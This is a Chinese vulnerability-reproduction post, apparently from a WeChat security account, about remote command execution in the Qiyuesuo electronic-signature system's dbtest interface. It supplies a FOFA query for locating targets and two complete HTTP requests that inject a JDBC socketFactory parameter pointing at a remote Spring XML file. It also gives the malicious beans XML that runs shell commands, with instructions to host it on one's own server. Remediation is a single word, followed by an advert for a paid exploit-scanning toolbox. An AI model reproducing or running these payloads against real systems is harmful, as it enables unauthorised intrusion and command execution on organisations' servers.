1. 契约锁电子签章系统简介
微信公众号搜索:南风漏洞复现文库
该文章 南风漏洞复现文库 公众号首发
契约锁电子签章系统
2.漏洞描述
契约锁电子签章系统dbtest接口存在远程命令执行漏洞
CVE编号:
CNNVD编号:
CNVD编号:
3.影响版本
4.fofa查询语句
app="契约锁-电子签署平台"
5.漏洞复现
漏洞数据包如下两个:
GET /api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1
Host: xx.xx.xx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
GET /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1
Host: xx.xx.xx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
可以在把dnslog替换成自己的恶意代码地址,在自己的网站上搭建如下文件,用接口访问该文件即可:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>touch /tmp/test</value>
</list>
</constructor-arg>
</bean>
</beans>
6.POC&EXP
本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全
1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。
2: 免登录,免费fofa查询。
3: 更新其他实用网络安全工具项目。
4: 免费指纹识别,持续更新指纹库。
7.整改意见
打补丁
原文始发于微信公众号(南风漏洞复现文库):契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论